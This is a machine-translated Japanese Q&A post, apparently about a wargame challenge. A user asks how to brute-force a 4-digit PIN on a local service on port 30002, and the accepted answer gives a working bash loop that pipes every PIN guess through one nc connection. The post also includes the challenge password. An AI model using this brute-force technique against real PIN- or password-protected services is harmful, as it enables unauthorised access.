いくつかの挑戦をしています。これはそれらの一つです。希望の回答を得るために、4桁のPINを無差別に代入してパスワードを入力しようとしています。ポートに接続した後、パスワード、スペース、4桁のPINを入力するように求められます。次のスクリプトを使用してピンを無差別に代入しようとしました。
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
しかし、通過せずにstdinに固定されていないこのような作業を試みる前に - >if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
ここで私が何を間違っているのでしょうか?
修正する:
まあ、ちょっと調べた後。私はこれを書いた:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
これはうまくいくかもしれませんが、見てわかるように、ループで新しい接続が開かれるため、非常に遅くなり、システムが消費されます。
ベストアンサー1
迅速で効果的な答えは次のとおりです。
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
更新された回答が非常に遅いです。誤解を入力しても接続は維持されます。前の答えが示すように、forループの末尾にあるパイプです。正しいピンを本当に知りたい場合は、echo thatの前に行を追加できますecho "the correct pass: $1" > /tmp/correctpin.txt
。これは正しいパスワードを取得する目的とは何の関係もありません。